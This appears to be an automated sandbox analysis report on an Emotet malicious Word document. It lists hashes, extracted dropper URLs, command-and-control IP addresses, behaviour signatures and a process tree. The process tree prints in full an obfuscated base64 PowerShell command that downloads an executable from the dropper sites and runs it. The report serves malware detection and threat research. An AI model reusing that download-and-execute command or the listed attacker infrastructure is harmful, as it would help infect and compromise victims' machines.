Analysis

  • max time kernel
    135s
  • max time network
    130s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    03/09/2020, 17:27

General

  • Target
    emotet_e1_98494fc713c44d8a04dfd9843ece379a625dc73ea24fa88cf65b60733b206390_2020-09-03__172551._doc.doc
  • Size 192KB
  • Sample200903-jkscbvrbej
  • SHA256 98494fc713c44d8a04dfd9843ece379a625dc73ea24fa88cf65b60733b206390
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://morinchoiniere.com/wp-admin/8/

  • exe.dropper

    http://arlmedical.com/wp-content/bA/

  • exe.dropper

    http://backstreetcreative.com/__MACOSX/i2/

  • exe.dropper

    http://chicagosbest.org/VXCqCACB/3/

  • exe.dropper

    http://dotdottravel.com/bottles/QS5/

  • exe.dropper

    http://fashiontoride.com/wp-admin/ys5/

  • exe.dropper

    http://planosdesaudesemcarencia.com/erros/POp/

Extracted

Family
  • emotet

C2
  • 50.121.220.50:80

  • 51.75.33.122:80

  • 54.37.42.48:8080

  • 91.121.54.71:8080

  • 45.16.226.117:443

  • 68.69.155.181:80

  • 213.60.96.117:80

  • 77.55.211.77:8080

  • 152.169.22.67:80

  • 110.142.219.51:80

  • 2.47.112.152:80

  • 206.15.68.237:443

  • 217.13.106.14:8080

  • 191.99.160.58:80

  • 189.131.57.131:80

  • 213.197.182.158:8080

  • 94.176.234.118:443

  • 61.92.159.208:8080

  • 190.128.173.10:80

  • 219.92.8.17:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_98494fc713c44d8a04dfd9843ece379a625dc73ea24fa88cf65b60733b206390_2020-09-03__172551._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3828
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
    1⤵
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Suspicious use of AdjustPrivilegeToken
    PID:3952
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABGAHkAYgBzAHUAbgA2AD0AKAAoACcAUwByACcAKwAnAF8AcAAnACkAKwAnAGoAMQAnACsAJwBhACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUATgBWADoAdQBzAGUAcgBQAHIAbwBGAEkATABFAFwAeAAwAHEARwBCAGYANQBcAE4ARABBAEcAcABZAEsAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIAZQBjAFQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAFUAUgBgAEkAdAB5AFAAYABSAGAAbwBUAGAATwBjAG8ATAAiACAAPQAgACgAJwB0ACcAKwAoACcAbABzACcAKwAnADEAJwApACsAKAAnADIALAAnACsAJwAgAHQAbABzACcAKQArACgAJwAxADEAJwArACcALAAgAHQAJwApACsAJwBsAHMAJwApADsAJABXAGEAaQBxADMAOQBlACAAPQAgACgAKAAnAEMAagAnACsAJwB0AGMAeAAnACkAKwAoACcAMABwACcAKwAnAG0AJwApACsAJwAyACcAKQA7ACQARAA2AGoAaQBzAGgAMQA9ACgAKAAnAEcAJwArACcAZAA4ACcAKQArACgAJwB4AGQAJwArACcAdQAnACkAKwAnAGQAJwApADsAJABNAHUAcwB5ADAAagBvAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAEUAJwArACgAJwB1AFUAJwArACcAWAAnACsAJwAwAHEAZwAnACkAKwAnAGIAZgAnACsAKAAnADUAJwArACcARQB1AFUATgAnACkAKwAnAGQAJwArACgAJwBhAGcAcAB5ACcAKwAnAGsARQAnACkAKwAnAHUAVQAnACkALgAiAFIAZQBQAGAAbABhAGAAYwBlACIAKAAoACcARQB1ACcAKwAnAFUAJwApACwAWwBTAHQAcgBJAG4ARwBdAFsAYwBIAEEAUgBdADkAMgApACkAKwAkAFcAYQBpAHEAMwA5AGUAKwAoACgAJwAuACcAKwAnAGUAeAAnACkAKwAnAGUAJwApADsAJABMAHUAZwBwAGMANABjAD0AKAAnAEIAZwAnACsAKAAnAGYAaAB3ACcAKwAnAGoAJwApACsAJwBpACcAKQA7ACQASQBtAGUAdABjAGIAYQA9AC4AKAAnAG4AJwArACcAZQB3AC0AbwAnACsAJwBiAGoAZQBjAHQAJwApACAAbgBlAFQALgBXAGUAYgBjAEwAaQBFAE4AVAA7ACQAVwBkAG8ANgBwAHMAZgA9ACgAJwBoAHQAJwArACcAdAAnACsAJwBwADoAJwArACgAJwAvACcAKwAnAC8AbQBvAHIAJwApACsAJwBpAG4AJwArACcAYwBoACcAKwAnAG8AJwArACgAJwBpACcAKwAnAG4AaQBlAHIAZQAnACsAJwAuACcAKQArACgAJwBjACcAKwAnAG8AbQAvACcAKQArACgAJwB3AHAAJwArACcALQBhAGQAJwApACsAJwBtAGkAJwArACcAbgAvACcAKwAnADgAJwArACgAJwAvACoAaAAnACsAJwB0AHQAcAA6ACcAKwAnAC8ALwAnACkAKwAoACcAYQAnACsAJwByAGwAbQAnACkAKwAoACcAZQBkAGkAYwBhACcAKwAnAGwALgAnACkAKwAoACcAYwBvAG0AJwArACcALwB3ACcAKQArACcAcAAtACcAKwAnAGMAJwArACgAJwBvAG4AdABlACcAKwAnAG4AJwApACsAKAAnAHQALwAnACsAJwBiAEEAJwApACsAKAAnAC8AKgAnACsAJwBoAHQAJwApACsAJwB0AHAAJwArACgAJwA6AC8ALwAnACsAJwBiAGEAYwBrACcAKQArACgAJwBzAHQAcgBlACcAKwAnAGUAdABjACcAKQArACgAJwByACcAKwAnAGUAJwArACcAYQB0AGkAdgBlAC4AYwBvACcAKQArACcAbQAnACsAKAAnAC8AJwArACcAXwBfAE0AJwApACsAKAAnAEEAQwAnACsAJwBPACcAKQArACcAUwAnACsAKAAnAFgAJwArACcALwBpACcAKQArACgAJwAyACcAKwAnAC8AKgBoACcAKQArACcAdAB0ACcAKwAoACcAcAAnACsAJwA6AC8ALwBjACcAKQArACgAJwBoACcAKwAnAGkAYwAnACkAKwAoACcAYQAnACsAJwBnAG8AcwAnACkAKwAnAGIAZQAnACsAJwBzACcAKwAoACcAdAAuAG8AcgAnACsAJwBnACcAKQArACcALwAnACsAJwBWAFgAJwArACgAJwBDAHEAJwArACcAQwAnACkAKwAoACcAQQAnACsAJwBDAEIAJwApACsAKAAnAC8AMwAvACcAKwAnACoAaAAnACkAKwAoACcAdAAnACsAJwB0AHAAOgAnACkAKwAoACcALwAvAGQAbwAnACsAJwB0AGQAbwB0AHQAJwArACcAcgAnACkAKwAoACcAYQAnACsAJwB2AGUAJwApACsAKAAnAGwALgAnACsAJwBjACcAKQArACcAbwAnACsAKAAnAG0ALwBiACcAKwAnAG8AJwApACsAKAAnAHQAdABsAGUAcwAnACsAJwAvAFEAJwApACsAJwBTADUAJwArACcALwAqACcAKwAoACcAaAB0AHQAJwArACcAcAAnACkAKwAnADoALwAnACsAKAAnAC8AJwArACcAZgBhACcAKQArACcAcwAnACsAKAAnAGgAaQBvAG4AJwArACcAdABvAHIAaQAnACsAJwBkACcAKwAnAGUALgBjACcAKQArACgAJwBvACcAKwAnAG0ALwAnACkAKwAoACcAdwBwAC0AJwArACcAYQBkACcAKQArACcAbQBpACcAKwAoACcAbgAvAHkAJwArACcAcwA1ACcAKQArACgAJwAvACoAaAB0AHQAcAA6ACcAKwAnAC8ALwBwACcAKwAnAGwAJwApACsAJwBhACcAKwAnAG4AJwArACcAbwBzACcAKwAoACcAZAAnACsAJwBlAHMAYQB1ACcAKQArACcAZAAnACsAKAAnAGUAcwAnACsAJwBlACcAKQArACcAbQBjACcAKwAoACcAYQAnACsAJwByAGUAJwApACsAJwBuACcAKwAoACcAYwAnACsAJwBpAGEALgBjAG8AJwArACcAbQAvACcAKQArACcAZQAnACsAKAAnAHIAJwArACcAcgBvAHMALwAnACkAKwAoACcAUAAnACsAJwBPAHAALwAnACkAKQAuACIAcwBQAEwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABUAHAAaABfAG4AcgBfAD0AKAAnAFMAJwArACcAagAnACsAKAAnAHIAOQA5AHIAJwArACcAZwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFUAaQA3AHAAYQBjAGUAIABpAG4AIAAkAFcAZABvADYAcABzAGYAKQB7AHQAcgB5AHsAJABJAG0AZQB0AGMAYgBhAC4AIgBkAGAATwBgAHcATgBMAG8AYABBAGQARgBJAGwARQAiACgAJABVAGkANwBwAGEAYwBlACwAIAAkAE0AdQBzAHkAMABqAG8AKQA7ACQAWgA0AHMANgBnAGwAYwA9ACgAKAAnAFUAZAAnACsAJwBmACcAKQArACcAbAAnACsAKAAnAGMAJwArACcAcwBvACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAE0AdQBzAHkAMABqAG8AKQAuACIATABFAGAATgBnAGAAVABoACIAIAAtAGcAZQAgADMAOQA2ADQAOAApACAAewAuACgAJwBJAG4AdgBvAGsAZQAtACcAKwAnAEkAJwArACcAdAAnACsAJwBlAG0AJwApACgAJABNAHUAcwB5ADAAagBvACkAOwAkAEYANgB5AG0AZABxAF8APQAoACcASgAnACsAJwAxADUAJwArACgAJwBsAGYAJwArACcAaAB3ACcAKQApADsAYgByAGUAYQBrADsAJABFAGkANAAyAG8AdABxAD0AKAAnAFcAJwArACgAJwBoACcAKwAnAGsAbQB6ACcAKwAnADEAaAAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATQBjADEAdwBzAHgAOAA9ACgAKAAnAE4AagAnACsAJwA0ACcAKQArACcAdwBqACcAKwAnAGIAeQAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1844
    • C:\Users\Admin\X0qgbf5\Ndagpyk\Cjtcx0pm2.exe
      "C:\Users\Admin\X0qgbf5\Ndagpyk\Cjtcx0pm2.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1448
      • C:\Windows\SysWOW64\MSAMRNBEncoder\MSFlacDecoder.exe
        "C:\Windows\SysWOW64\MSAMRNBEncoder\MSFlacDecoder.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:2068

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1448-19-0x00000000020E0000-0x00000000020EC000-memory.dmp

        memory/1844-13-0x00007FFA38E90000-0x00007FFA3987C000-memory.dmp

        memory/1844-14-0x000001B02A260000-0x000001B02A261000-memory.dmp

        memory/1844-15-0x000001B02A410000-0x000001B02A411000-memory.dmp

        memory/2068-22-0x0000000001FC0000-0x0000000001FCC000-memory.dmp

        memory/3828-12-0x0000018BF0898000-0x0000018BF089C000-memory.dmp

        memory/3828-0-0x00007FFA403D0000-0x00007FFA40A96000-memory.dmp

        memory/3828-9-0x0000018BF08AA000-0x0000018BF08AE000-memory.dmp

        memory/3828-8-0x0000018BF08AA000-0x0000018BF08AE000-memory.dmp

        memory/3828-7-0x0000018BF08AA000-0x0000018BF08AE000-memory.dmp

        memory/3828-6-0x0000018BF0804000-0x0000018BF0809000-memory.dmp

        memory/3828-5-0x0000018BF0804000-0x0000018BF0809000-memory.dmp

        memory/3828-11-0x0000018BF0898000-0x0000018BF089C000-memory.dmp

        memory/3828-1-0x0000018BF01D0000-0x0000018BF01D4000-memory.dmp

        memory/3828-10-0x0000018BEE395000-0x0000018BEE3A6000-memory.dmp